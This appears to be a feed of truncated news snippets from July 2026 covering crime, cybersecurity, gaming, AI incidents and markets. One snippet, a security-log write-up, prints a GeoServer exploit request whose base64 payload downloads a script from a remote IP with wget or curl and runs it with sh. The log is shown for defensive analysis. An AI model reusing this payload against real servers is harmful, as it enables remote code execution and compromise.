The Kano State Hisbah Board has warned residents not to pay anyone to be registered for the state’s upcoming mass wedding programme. The board’s Deputy Commander-General, Dr Mujahideen Aminuddeen, gave the warning on Wednesday following reports that some individuals were collecting money from people hoping to benefit from the programme. He said the Kano State Government had already paid for the entire exercise. According to him, Governor Abba Yusuf approved funding to cover wedding attire, furniture, transportation of the furniture and start-up capital for beneficiaries. Aminuddeen stressed that no Hisbah official or government representative had been…

Criminal syndicates increasingly turned from targeting Chinese nationals to Americans after Beijing’s 2023 crackdown on online scams in Southeast Asia, analysts said on Wednesday, triggering a global game of “whack-a-mole”. “China has a huge advantage and a head start in terms of trying to protect its own citizens from scams compared to the US,” said Sue-Lin Wong, who hosts the Scam Inc. podcast, adding that it is “terrible for Americans who are losing a lot of money”. In recent years, Southeast Asia’s cyberscam industry has grown rapidly, with criminal syndicates initially targeting Chinese speakers before expanding globally to prey on victims around…

On Tuesday night, the city council of my small town of Irmo, South Carolina, voted to install 22 new Flock cameras. That’ll bring the total up to 33. With a population of only 12,000 or so, it means there’ll be one Flock camera for every 300 residents. That means there will be more Flock cameras in my town than police officers. The city council — the governing body consisting of the mayor and 4 councilpersons — voted for Flock expansion despite presentations from residents about the dangers of what they described as the creeping surveillance state. The vote for the cameras was a hot topic in local news and South Carolina social media. The city council…

U.S. Secret Service Director Sean Curran testifies during the House Appropriations Homeland Security Subcommittee hearing in Rayburn building on Thursday, April 16, 2026. Tom Williams \| CQ-Roll Call, Inc. \| Getty Images A senior U.S. Secret Service official said Wednesday that the "threat environment" for the agency's protectees, who include President Donald Trump, "is the highest we've ever seen." "What we're seeing now is something I've never seen before," said the senior official, who spoke to reporters at a background briefing on the condition that they not be identified by name before a public briefing. There have been about 10,000 cases…

Ravie LakshmananJul 22, 2026Linux / Vulnerability Cybersecurity researchers have disclosed details of a new local privilege escalation (LPE) vulnerability in snap-confine that an unprivileged user can trigger to obtain root access and gain complete control of a target environment. The high-severity flaw, tracked as CVE-2026-8933 (CVSS score: 7.8), impacts default installations of Ubuntu Desktop 24.04, 25.10, and 26.04. The disclosure comes as 442 security flaws in Linux have been publicized over the past three days. "The issue stems from a security hardening change that inadvertently introduced a race condition during sandbox initialization," Saeed…

Paris' Louvre Museum reopened its Apollo Gallery to the public on Wednesday, marking the first time visitors were allowed in since Ocotber 2025, when robbers stole €88 million ($102 million) worth of crown jewels in a dramatic daytime heist. The Louvre is world's most visited museum, with guest numbers of up to 9 million a year. It was originally a royal palace, which was opened to the public during the French Revolution. The museum houses the Mona Lisa, one of the world's most famous pieces of art. The October 2025 heist shocked the world as the thieves used a crane mounted on a truck to enter the museum through a window at 9:30 a.m., when the museum…

Court advises Nollywood actor Emeka Ike, Wike’s aide to explore reconciliation in N10bn suitThe Federal High Court in Abuja on Wednesday advised Nollywood actor Emeka Ike and Lere Olayinka, Senior Special Assistant to FCT Minister Nyesom Wike to explore an out-of-court settlement for a N10 billion privacy breach suit brought by the thespian. Justice Salim Ibrahim gave the advice to the parties, including the Independent National Electoral Commission (INEC), during Wednesday’s proceedings. All the parties in the suit were represented during the hearing. Leonard Adeh, who appeared for Mr Ike, informed the court that the matter was scheduled for further…

Ukraine's Unmanned Systems Forces have struck 13 additional electrical substations in Russian-occupied territories in southern Ukraine as part of Operation Crimean Switch Off, including 10 facilities in temporarily occupied Crimea. According to Ukrinform, the commander of the Unmanned Systems Forces, Robert "Magyar" Brovdi, announced the operation on Facebook. "Thirteen energy facilities in Crimea and other temporarily occupied territories were successfully targeted on July 21–22," Brovdi said. According to him, Ukrainian forces have struck a total of 117 energy infrastructure targets between July 1 and July 22. The latest targets included: the 110 kV…

This isn't a new attack, but something I saw "pop-up" in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated…

The latest headlines from our reporters across the US sent straight to your inbox each weekday Your briefing on the latest headlines from across the US Your briefing on the latest headlines from across the US The California Department of Motor Vehicles is investigating potential criminal activity tied to irregularities found in 11,000 of the state's driver's license tests. The state's DMV director, Steve Gordon, announced the investigation in a letter sent to State Senate Transportation Committee Chairman Dave Cortese last week, KCRA 3 reports. According to the DMV, 11,000 drivers were flagged as having irregularities in their recent driving tests…

Harris Faulkner reports on Chicago's escalating violent crime, noting President Trump's repeated offers to deploy the National Guard to Chicago. Illinois Governor JB Pritzker and Chicago Mayor Brandon Johnson blast Trump's proposal, arguing he lacks understanding of local safety needs and has defunded institutions that keep people safe in Chicago. NEWYou can now listen to Fox News articles! A Memphis pizza restaurant that drew national attention after refusing to serve National Guard members says business is booming instead of busting, with supporters flocking to the restaurant in what some have dubbed a "buy-cott" after conservative activists called…

Sahara Reporters publisher Omoyele Sowore’s defence team informed the Federal High Court in Abuja of the plan to have the Director-General of the State Security Service (SSS), Adeola Ajayi, and presidential spokesperson, Bayo Onanuga summoned to appear as witnesses in his cyberbullying trial. Mr Sowore’s lead defence lawyer, Adeyinka Olumide-Fusika, said this after a subpoenaed SSS official, Uwem Davies, could not answer some questions from the defence team on Wednesday. The News Agency of Nigeria (NAN) reports that Mr Sowore, the presidential candidate of the African Action Congress (AAC) in the forthcoming 2027 general elections, is facing…

Kaspersky detailed ransomware cases in Colombia and Mexico where attackers exploited misconfigured systems Victims’ drives were locked with BitLocker, ransom notes printed via office printers New group “XEntry Team” claimed responsibility; misconfigurations remain a major breach risk Cybercriminals have, in true Hollywood fashion, started using office printers to notify victims they were struck by ransomware. Security researchers at Kaspersky have detailed two incidents which recently took place, one in Colombia, and one in Mexico, where cybercriminals took advantage of misconfigured systems. However both had the same outcome - the attackers used…

Swiss rail vehicle manufacturer Stadler Rail says the Everest ransomware gang demanded about $12.3 million after breaching a data exchange platform shared with one of its suppliers. The threat actor has not publicly claimed the attack, but the Swiss company says that it received an extortion letter from Everest ransomware asking for a ransom of 10 million Swiss francs. The company responded by saying that it will not pay the threat actor and filed a criminal complaint with the Thurgau cantonal police. "Stadler will not pay any ransom under any circumstances and is therefore not susceptible to extortion." Stadler Rail is a large, multinational Swiss…

Panthalus is hard to miss: The water elemental is by far the largest monster in Palworld. The Pal, which controversially appears to take inspiration from Pokémon Ruby and Pokémon Sapphire legendary Kyogre, looks awfully familiar to Pokémon fans. Despite those similarities, developer Pocketpair designed the encounter so players who experience it won't dismiss it as a rip-off. If anything, the Panthalus fight is a perfect encapsulation of why Palworld has seen such explosive success. The Pal was teased in early access trailers, but Pocketpair didn't put it into Palword until the game's recent 1.0 release. For a while, some fans worried that the…

Four classic Xbox games are heading to PC as part of a new program from Microsoft. These older titles, which are currently available on Xbox Game Pass, will now be playable on desktops, laptops and handhelds such as the ROG Xbox Ally and Xbox Ally X. On Wednesday, the Xbox Backward Compatibility preview went live, allowing owners of four titles first released for the original Xbox — Blinx: The Time Sweeper, Conker: Live and Reloaded, Crimson Skies: High Road to Revenge and Fuzion Frenzy — to play them on their Windows PC and handhelds. Microsoft says it will roll out more features for these games in the future, including Xbox Achievements. Microsoft…

When Disgaea: Hour of Darkness came out on the PlayStation 2 in 2003, the disc was accompanied by a thick instruction manual explaining the strategy RPG to new players. Fans have long since become accustomed to PlayStation game cases that are completely empty outside of the disc, but starting in 2028, there won’t even be discs inside. Disgaea creator Sohei Niikawa recently spoke about what will be lost when that happens. “I think physical editions of games are very important,” he told Noisy Pixel in a recent interview at Anime Expo 2026. “For fans, being able to keep a game they love as an object can have a great deal of value. It becomes a memory or…

Earlier this month, indie political satirist game dev Molleindustria—pseudonym of Paolo Pedercini, who created games like Democratic Socialism Simulator and New York Times Simulator—announced that he was moving up the release of his latest game. Despite having previously promised to launch the game on the same day as GTA 6 "in order to humiliate Rockstar in the open-world genre and deliver the killing blow to the Western game industry," Future? No Thanks!, would instead launch today, on July 22. Now that the day has arrived, Molleindustria's launch plans have changed once again. The developer announced a last minute delay for Future? No Thanks! on…

KPMG whistleblower refused to move to Australia, fearing alleged bullying Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA The whistleblower who triggered the scandal engulfing consulting giant KPMG Australia refused to move to Australia in part because he claimed he had been bullied by one of KPMG’s most senior executives at the time. Documents released by a parliamentary committee this week show the whistleblower, who has not been identified, had been hired by KPMG outside Australia and had initially been open to moving back as the firm requested under its policies. Kim Lawry was one of…

Lee Sang-hyeok, better known to his fans as Faker, is perhaps the most enduring and successful esports pro of all time, with—among a great many other honors—a record six League of Legends world championships to his name stretching back to 2013. When he re-signed with T1 in 2022, the team called him the "Unkillable Demon King," and fair enough because he went on to claim three of his six world titles—among a great many more honors—in an undefeated three-year stretch from 2023-25. Time included him in its 2026 list of the most influential people in sports; he's a member of the ESL Esports Hall of Fame and Riot's own LoL Esports Hall of Legends. Also,…

Shortly after the game's official launch, Baldur's Gate 3 received Honour Mode, a difficult version of the game meant for experienced players. It restricts your playthrough to one save file, which is great for when you don't want to be tempted into save-scumming your way through dice rolls and dialogue choices. It's not so great for when one of those dialogue choices cuts your run short. That's what happened to one player, who literally fucked around and found out. As spotted by GamesRadar, a player posted to the Baldur's Gate 3 subreddit about how trying to saddle up with a character led to their untimely death. They were 60 hours into a playthrough…

Adamya Sharma / Android Authority TL;DR Microsoft is rolling out XBOX Backward Compatibility on PC. Players will now be able to play original XBOX games on PC and handhelds. You’ll also be able to enhance the experience with features such as 4x resolution upscaling, VSync support, enhanced anti-aliasing, and more. To this day, there are still people who love playing original XBOX games. But if you don’t want to break out your original XBOX hardware, you’ll now have a new way to access these classic titles. Microsoft is rolling out a new program that will let you play these games on PCs and handhelds. In a blog post, Microsoft announced the launch of…

The Final Fantasy series has plenty of great video game openings, but 25 years later, the intro for Final Fantasy X still feels like the best of them. The HD remaster of the PlayStation 2 classic is getting ported to the Switch 2 this week, where it looks lovelier than ever. There I played the beginning of the game for maybe the dozenth time and it’s still incredible. Most fans would probably argue that Final Fantasy VII‘s opening remains the best in the RPG franchise, and one of the best in any game ever, and there are days on which I would agree with them. But the PS2 helped Square Enix take its cinematic ambitions to the next level, and Final…

Last week, in the wake of yet another round of mass layoffs across the company, Xbox announced that Fallout 5 is in preproduction, Fallout 3 and New Vegas remasters are coming, and that Obsidian are working on a new Fallout project. If you were to ignore the 1600 staffers laid off and the ongoing call for a boycott due to Microsoft providing AI tech to the Israeli military as it continues to bombard Gaza and kill Palestinians, this would possibly be welcome news. But to make matters worse, OneBGS, the Bethesda Game Studios Union, have claimed that on the same day this was announced, laid off workers at Bethesda Montreal were informed that they would…

Not to fully transform into the Pepe Silvia meme pointing at a wall of "evidence" but I'm convinced Blizzard is gearing up to announce something StarCraft-related at BlizzCon this year. The first reliable clue came from Bloomberg reporter Jason Schreier's 2024 book on Blizzard's history where he said the studio was "incubating" a StarCraft shooter (not that one) under the helm of former Far Cry producer Dan Hay. A couple of years passed with no news on that StarCraft project. But in April of this year, Blizzard was looking to hire a lead designer of innovation for an "AAA open-world shooter" using Unreal Engine—a game engine that it's never used…

BlizzCon, the once-annual gathering of Blizzard Entertainment fans, returns in September with fresh game reveals and updates, behind-the-scenes stories, and community events. While BlizzCon is focused on bringing people together, it's also marked by special in-game cosmetics and other perks that will give both attendees and viewers at home something to remember 2026's event by. On Wednesday, Blizzard announced a long list of BlizzCon 2026-themed skins, mounts, and in-game bonuses coming to games like World of Warcraft, Diablo 4, and Overwatch. The BlizzCon Digital Bundles and BlizzCon Ultimate Collection will let players choose to buy virtual goods…

Nothing gold can stay, as Robert Frost once wrote. But maybe it can go away for a while and come back again. Such is the case with Poinpy. The mobile game debuted in 2022 and it was available exclusively to Netflix subscribers. However, the streaming service pulled Poinpy from its lineup in June last year, rendering it nigh-on impossible to play. That saddened me immensely, as I utterly adore this game. At the time, publisher Devolver Digital said it hoped to bring Poinpy to other platforms in the future. Folks, the future is now and it's a beautiful one, because Poinpy is back on iOS and Android. Best of all, it's completely free. No…

If you had asked me in 2022 whether or not I’d still be writing about a seemingly endless onslaught of games industry mass layoffs in 2026, I’d have been confidently wrong in saying no. Yet here we are, four years after stories like this began to come out, and there’s no end in sight. We have rough numbers that barely capture the devastation: some 8500 in 2022, over 10,000 in 2023, over 14,000 in 2024, an optimistic-looking 5300 in 2025, but we’re already up to 4600 in 2026. And that’s the numbers we’ve been told about. Nevermind the many, many more individuals who were left out of those counts in quieter layoffs, or ones where major…

I hope you're not tired of looking at Psyduck for hours as The Pokémon Center's queue timer counts down, because there are more trading card game products to buy. This drop, surprisingly, is not for the 30th anniversary TCG collection. Instead, what's dropping is a mishmash of a few highly-regarded Pokémon sets. What's available for purchase right now includes: Pokémon TCG: Scarlet \& Violet-151 Mini Tin (Gengar \& Omanyte) — 2 packs, $9.99 Pokémon TCG: Mega Evolution Ascended Heroes Collection (Larry \& Erika) — 2 packs, $9.99 Pokémon TCG Poké Ball Tin — 3 packs, $14.99 Each product has a purchase limit of one per household. Wait times are high, like…

One year after disappearing from mobile storefronts, Devolver Digital’s Poinpy has made a surprise return to iOS and Android. Better yet, the former Netflix exclusive is entirely free. If you slept on it when it first launched, don’t miss your chance to right that wrong and enjoy one of the best mobile games of the 2020s. Poinpy, a mobile platformer created by Downwell director Ojiro Fumoto,has a bit of a strange history that highlights the pitfalls of mobile gaming. It originally launched on June 10, 2022, as part of Netflix’s then-young video game push. It was the headliner in a wave of original indie projects that would launch over the next few…

Your old Xbox library just found a new home. Microsoft has launched Xbox Backward Compatibility on PC, letting you play classic original Xbox titles on Windows and handhelds for the very first time. Which Xbox games can you play on PC? Four classic titles kick off the program today. You can jump into Blinx: The Time Sweeper, Conker: Live and Reloaded, Crimson Skies: High Road to Revenge, and Fuzion Frenzy right now on supported PCs and handhelds like the Xbox Ally and Xbox Ally X. Each game is available to purchase individually, and all four come included with every Xbox Game Pass tier. If you already own a digital license for these titles on console,…

As it continues to try smoothing the waters churned up by the recent layoff of thousands of people, Xbox has followed up last week's big Fallout infodump with the launch of a new "Backward Compatibility on PC" program that will bring old-time Xbox games, previously exclusive to the platform, to PC and compatible handhelds for the first time. The program is launching with four "classic original XBOX games," as Microsoft described them. I'm not sure I'd use that characterization myself, but to be fair I haven't played any of these games (although I did enjoy the original Crimson Skies), and PC Gaming Show maestro Jake Tucker informs me that "Conker was…

Some of your favorite OG Xbox titles may finally be available on PC, 26 years after they first hit the scene. It’s a move that makes the current-gen Xbox consoles seem even more like relics of a dying ecosystem. That’s because Xbox needs to bring its entire library, past and present, to a future PC-like console. The backwards compatibility team at Xbox is first bringing four games, rolling out today, that you certainly remember from your days on the original Xbox: Fuzion Frenzy, BLiNX: The Time Sweeper, Crimson Skies: High Road to Revenge, and Conker: Live and Reloaded. None of these games were ever made natively available on PC prior to now, at…

Ah, the Electronic Entertainment Expo, better known by many as Summer Game Fes-, wait, sorry, guess I've already moved on! Better known as E3, of course, the first of its kind showcase dedicated entirely to video games that died because it simply couldn't figure out how to live in the modern world (they probably should have asked Geoff). The whole thing ended with much more of a whimper than a bang, but once upon a time it was the place to have your game. And now, the Video Game History Foundation have revealed a new collection all about the event "like you've never seen it before," covering many years worth of a range of materials. "Over the past…

OpenAI sued over ChatGPT health advice that almost killed a pastor It allegedly offered "extremely dangerous medical recommendations" regarding a pulmonary embolism. A pastor has sued OpenAI after alleging the software gave him "extremely dangerous medical recommendations," according to a report by The New York Times. This reportedly led to delayed care to treat a serious of pulmonary embolisms, as ChatGPT allegedly told Scott Winters that the symptoms he described were "not something dangerous." It even reportedly drew on his religious beliefs, telling him that "God did not design your body to endlessly fail." The suit accuses OpenAI and CEO Sam…

New York City has opened applications for a new kind of government job. Mayor Zohran Mamdani announced on Monday that the city is recruiting software engineers, product designers, product managers, user researchers, service designers and data experts to staff what he is calling Public Interest Technology Crews—PIT Crews, a pun the mayor committed to by rolling up to the Coney Island go-kart track to make the announcement. The hiring is funded and specific. A City Hall spokesperson confirmed around 30 full-time roles across four crews, supported by $5.24 million in baseline funding in the mayor's new fiscal budget. The listings are live at…

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Over half of Gen Z workers feel more productive working from home 34% of Gen Z workers believe their workplace does not allow them to focus effectively The findings are the result of a survey conducted by Diamond Interiors and YouGov A new survey has claimed Gen Z employees feel they’re at their most productive working from home, rather than in the workplace, flying in the face of those attempting to get people back into the office. The Diamond Interiors report notes focusing on work is widely recognized as improving productivity, which might explain the challenge for Gen Z. Home can be quiet, distractions managed, and with the right setup, focused…

OpenAI's rogue AI agent reinforced a cybersecurity threat experts have long anticipated — and Jim Cramer said there's one stock built for exactly this moment: CrowdStrike . "CrowdStrike will be the stock you should buy this morning," Jim said during Wednesday's Morning Meeting . " While acknowledging the stock has had a big move in 2026, he said, "I think it's a must-buy." OpenAI disclosed late Tuesday that one of its advanced AI agents escaped a controlled testing environment during a cybersecurity evaluation, gained internet access, and ultimately compromised the infrastructure of AI startup Hugging Face, before the activity was detected and…

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Business leaders, entrepreneurs and members of Nigeria’s literary community gathered in Lagos on Monday for the public presentation of The Challengers, a book by Nigerian author Eghosa Imasuen, which chronicles the journey of the founders of VFD Group. The event, held at the Radisson Blu Anchorage Hotel, brought together executives, policymakers, media personalities and young professionals to discuss entrepreneurship, leadership and the lessons behind building an enduring organisation. The book tells the story of how five friends, Nonso Okpala, Adeniyi Adenubi, Mobolaji Adewumi, Gbenga Omolokun and Azubike Emodi, came together following the 2008…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Welcome back to Minor Dilemmas, where a member of Defector's Parents Council will answer your questions on surviving family life. Have a question? Email us at minordilemmas@defector.com. This week, Giri answers a question about how parenting can reorient your life. Anonymous: My wife and I are new parents, and before our baby was born I decided I would become the full time stay-at-home parent. I wanted to give my kid a chance for an upbringing similar to mine, and luckily my wife's career should provide for the family. As my wife's maternity leave gets closer to its end, I'm excited but also anxious about what happens next. My wife's work will mean…

security Linux kernel team publishes 432 CVEs in two days Sunday-to-Monday onslaught fuels speculation over AI-assisted bug reports If you're responsible for Linux security, someone just dumped a pile of work onto your desk: 432 Linux kernel CVEs were published across Sunday and Monday this week. Linux watchers at nixCraft pointed out the volume on Monday morning, and it didn’t take long for seasoned sysadmins to start expressing concerns. Jan Schaumann, chief information security architect at Akamai Technologies, took to the OSS-SEC mailing list Tuesday to express concerns over the sheer volume of Linux kernel CVEs published in recent days. Aside…

Taylor Kerns / Android Authority TL;DR Google Photos is working on improving how you select and copy text in images. We have spotted a new button that will appear when the app detects text in a picture. Google also appears to be expanding its Expressive UI design to more Settings pages. Google is once again working on a couple of changes for the Photos app. Earlier this month, we told you about Ask Photos possibly letting users edit their image metadata. This time, the Photos team is developing a better way to select and copy text from an image. On top of that, Material 3 Expressive is expanding to more areas in the app. Let’s dive in and check out…

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Reddit users, bored waiting for more information about the forthcoming FromSoftware Switch 2 exclusive The Duskbloods, have just been making up details about it for themselves. As reported by Ian Walker (I recognize that name from somewhere) over on Video Game Town, this “Duskposting”—where users make up imaginary bosses from the game, detail them, and even write guides for how to beat them—has been popular since the game’s announcement. It’s all good harmless fun, right up until the LLMs mindlessly scrape the made-up information and then present it to the rest of the world as stone-cold fact. One of the most fundamental flaws of LLMs like…

security Releases now reject new files after 14 days The Python Package Index (PyPI) now rejects new files being uploaded to releases that are older than 14 days. This restriction was put in place to prevent old and long-stable releases from being poisoned in case publishing tokens or workflows of PyPI projects were compromised. As far as we are aware this has not yet been abused, but there is no technical reason beyond that attackers weren't aware it was possible. Users should not yet rely on this behavior as there are no defined semantics for "releases no longer accepting new files" or APIs available to confirm the state of the release. Instead,…

Hasbro recently blew Nintendo fans' minds with the announcement that they've acquired the license for The Legend of Zelda games, opening the door to new figures of Link, Princess Zelda, and the rest of the gang. Thankfully, they aren't making us wait long to see the first fruits of that new partnership. Hasbro is unveiling the first three The Legend of Zelda: Heroes of Hyrule figures at Comic-Con, and IGN can exclusively debut images of the whole set. Check out the slideshow gallery below to see Hasbro's first figures of Link, Zelda, and Ganondorf: Hasbro's The Legend of Zelda: Heroes of Hyrule Figures - Image Gallery It's important to note that all…

What this post is: a step-by-step tour of a from-scratch CUDA inference runtime for Qwen2.5-Coder-7B-Instruct on NVIDIA H100 (`sm_90`) — every hot path annotated for why, not just what. What the runtime does today: greedy graph-tier token match passes on H100 at ≤4096 context, steady-state decode lands around \~16.7 ms/token (\~60 tok/s), and first-token latency is \~128 ms for a 512-token prompt. The one number that made everything else make sense: eager decode was \~119 ms/token. Wrapping decode in a captured CUDA graph collapsed that to \~17 ms/token. A 7× win — same kernels, just less driver. Three bugs did most of the teaching: __syncthreads()…

GitHub has redesigned the navigation architecture behind GitHub Issues to reduce perceived latency for developers by moving more work to the client-side. The engineering team introduced client-side caching, predictive prefetching, and service worker-based request handling to improve navigation performance, increasing instant navigation experiences from 4% to 22%. The changes address a common challenge in large-scale web applications: reducing delays caused by repeated network requests and client initialization during frequently repeated workflows. The work focused on GitHub Issues users who frequently navigate between issues, lists, and related views,…

Dr. Michelle Lynn Thaller, Tanya Thompson and Tony Cutraro discuss their heart-pounding grizzly bear encounter in Alaska. The hikers, who were at Anan Creek wildlife observatory, detail how they remained calm and followed ranger protocols, talking to the large animal as it passed them on the trail. This close call highlights the importance of wildlife safety. Being a wildlife photographer isn’t for the faint of heart. It takes patience, preparation and enough knowledge of animal behavior to understand when to stay put, when to move and when to get the heck out of there. CLICK HERE FOR MORE COVERAGE FROM OUTKICK And sometimes, it requires a little ice…

Let's learn about Csharp via these 207 free blog posts. They are ordered by HackerNoon reader engagement data. Visit the Learn Repo or LearnRepo.com to find the most read blog posts about any technology. Like Java, but it sucks less. In this post I'll show how to maintain a standard for everyone who works in the code, no matter the editor used. The Factory pattern allows developers to create objects without specifying the exact class of object that will be created. A couple of weeks ago I wrote an article about building and deploying a Blazor app without touching a Windows machine and realized maybe I should take a step back and explain what Blazor is…

Superquiz, Thursday, July 23 Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA By Andrew Brooks Try our Mini Crossword Ten clues. Twenty-five squares. How quickly can you solve this bite-sized puzzle? Track your winning streaks and challenge family and friends by sharing your results. Premium subscribers to The Age can play the Mini Crossword (and all our puzzles, including Target Time) here and premium subscribers to The Sydney Morning Herald can play them here. Save You have reached your maximum number of saved items. Remove items from your saved list to add more.

ASX set to rise, Wall Street mixed; Oil continues to climb Stan Choe July 23, 2026 — 5:18am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA The US stock market is drifting in mixed trading, while oil prices climb another 3 per cent as fighting continues in the war with Iran. The S\&P 500 slipped less than 0.1 per cent, coming off its best day in three weeks, after swinging between modest losses and gains for much of the day. The Dow Jones was up 61 points, or 0.1 per cent, in mid-afternoon trade, and the Nasdaq composite was 0.3 per cent lower. Wall Street swung between gains and losses…

Paramount Skydance’s £80bn takeover of Warner Brothers took a step closer to being realised after it won conditional approval from the European Union. The European Commission said Paramount’s offer to ⁠end a film ⁠distribution ​joint venture with Universal Pictures addressed its concerns over the potential merger. As part of its commitments in the EU, Paramount has 13 months from the date of closing the deal to pull out from the venture. “These commitments fully address the competition concerns identified by the commission by ensuring that the films of the merged entity will not be distributed jointly with those of Universal or Disney,” EU competition…

‘A long winter for house prices’: Melbourne market’s steepest drop in four years Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Melbourne house prices slumped 3.1 per cent – or about $30,000 – in the past quarter, and further falls are expected as rate rises and tax changes chill the property market. The median price for a house in Melbourne in the June quarter was $1,041,205, the latest Domain House Price Report, released on Thursday, revealed. The median unit price stayed relatively steady at $587,137, down just 0.05 per cent over the same period. “It is the steepest drop in almost four…

‘This is just the beginning’: Sydney’s median house price falls to $1.73m Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA The cost to buy the typical Sydney property has started to fall over recent months, with buyers beginning to get the upper hand as muted confidence, affordability pressures and higher interest rates combine to dent the property market. Sydney’s median house price dropped 3.3 per cent, or about $60,000 over three months to December to $1,733,891, the latest Domain House Price Report, released on Thursday, showed. This was a fall from the previous quarter’s record high and…

Every weekday, the CNBC Investing Club with Jim Cramer releases the Homestretch — an actionable afternoon update, just in time for the last hour of trading on Wall Street. Stocks were mixed on Wednesday . The S \& P 500 was basically flat in late afternoon trading, while the Nasdaq was modestly weaker. Once again, it was one of those days, with a big split within technology. While many chip stocks rallied, including Nvidia 's roughly 3% gain, software stocks lagged, and the hyperscalers that are funding the AI infrastructure buildout also moved lower. The move in software may be tied to this shocking news that OpenAI models broke out of a sandboxed…

Colombia · Politics Key Facts —New cap. As of 15 July 2026, the maximum ordinary workweek in Colombia is 42 hours. —Legal basis. Law 2101 of 2021 amended the Labour Code to phase down the cap from 48 to 42 hours. —Pay protected. The reduction does not lower monthly wages or social benefits for covered workers. —Overtime trigger. Any hour worked beyond 42 per week must be paid at overtime rates. —Who is covered. The rule applies to private-sector employees; public-sector workers are not automatically included. On 15 July 2026, Colombia took the final step in a four-year journey, lowering the maximum ordinary workweek from 44 hours to 42 hours without…

NovaGold Resources (TSX: NG) on Wednesday announced plans to buy the 40% stake it doesn't already own in Donlin Gold Holdings, creating a company valued at $4.2 billion.Why it matters: Mining M&A has hit the motherlode this year.There were $26.3 billion in deals in Q2. That's up 68% quarter over quarter, and is the second highest quarterly total since S&P began tracking the metric in 2013.Driving the news: NovaGold is acquiring the stake it does not own in the Alaskan gold miner from Paulson Advisers, creating a new U.S.-domiciled company that plans to be listed on the NYSE.This would create the "largest gold development project in the U.S.," per the…

A mortgage rate lock before this month's Federal Reserve meeting could make sense for some borrowers. Olga Yastremska/Getty Images The next Federal Reserve meeting is just days away from starting and millions of borrowers are eagerly awaiting the results of the two-day conference. While the central bank is widely expected to keep the federal funds rate on pause for another month, comments made in the press conference after the meeting could give some insight into what can happen in the interest rate climate later this year. That insight will be especially helpful for homebuyers and homeowners hoping to refinance. After some borrowers saw some relief…

North American stock markets were drifting in mixed trading Wednesday, while oil prices climbed another three per cent as fighting continues in the war with Iran. On Wall Street, the S\&P 500 slipped less than 0.1 per cent, coming off its best day in three weeks, after swinging between modest losses and gains for much of the day. The Dow Jones Industrial Average was up 61 points, or 0.1 per cent, as of 2:10 p.m. Eastern time, and the Nasdaq composite was 0.3 per cent lower. Meanwhile on Bay Street, the TSX was up by about 0.3 per cent, and helped out mainly by the mining sector, including those of gold and silver, while some technology, construction…

Brazil · Business Key Facts —Sale price. US$6.5 million, paid cash upfront by the Saudi partners. —Venture sold. Specialized Medical Treatment Company, an oncology-care firm in Riyadh. —Original ambition. Projected US$550 million in revenue within five years of launch. —Brazil debt load. Roughly R$5.1 billion (US$1.01 billion) in financial debt. —Recent loss. Net loss of R$438.7 million (US$86.5 million) in the first quarter of 2026. Oncoclínicas, Brazil’s largest cancer-treatment network, has sold its entire stake in a Saudi Arabian oncology joint venture for US$6.5 million in upfront cash, the company confirmed on 22 July 2026. It operates a network…

Brazil · Business Key Facts —Current Ibovespa level. The index closed near 173,326 points on July 21, 2026. —Implied upside. The 185,000 target suggests a gain of roughly 6.7% by year-end. —Brazilian interest rate. The Selic base rate stands at 14.25%, with an August decision pending. —Year-to-date rally. The Ibovespa had already surged about 29% in 2026 by late July. —US dollar exchange rate. The Brazilian real traded at 5.07 per US dollar on July 21, 2026. Brazil’s benchmark Ibovespa stock index closed near 173,326 points on July 21, 2026, and the research team at Itaú BBA, the investment banking arm of Brazil’s largest private-sector bank, sees…

In a 2-1 vote, the Republican majority on the Equal Employment Opportunity Commission (EEOC) voted to roll back a six-decade-old requirement under an anti-discrimination law in the United States that requires employers to submit annual data on the racial and gender composition of their workforces. Following Tuesday’s vote, there is now a 30-day public comment period before the proposal heads to final approval with a hearing on August 11. Recommended Stories list of 4 itemsend of list Here’s what you need to know. What is the EEOC? Created in 1965, the EEOC is the US federal agency responsible for enforcing workplace anti-discrimination laws. The…

Amid concerns raised by minority institutions, particularly the Christian bodies, against the Foreign Contribution (Regulation) Amendment Bill, 2026 (FCRA), the Press Information Bureau (PIB) said on Wednesday (July 22, 2026) that the designated authority would retain the religious character of places of worship in all cases. One of the key provisions in the FCRA Bill, 2026, which was introduced in the Lok Sabha on March 25 but could not be passed following an uproar by the Opposition parties, is the appointment of a ‘designated authority’ to take over, manage, or dispose of assets created from foreign funds when an NGO’s FCRA registration is…

US Treasury Secretary Scott Bessent met Finance Minister Muhammad Aurangzeb a day earlier and welcomed Pakistan’s progress in implementing economic reforms and laying the groundwork for a return to international capital markets, the Treasury said in a statement on Wednesday. According to a statement, Bessent emphasised the “importance of Pakistan’s work to continue its reforms, become more economically self-reliant, boost growth and strengthen its economic resilience”. “Secretary Bessent welcomed the progress Pakistan has made in restoring macroeconomic stability and advancing fiscal consolidation, recognising the government’s efforts to implement…

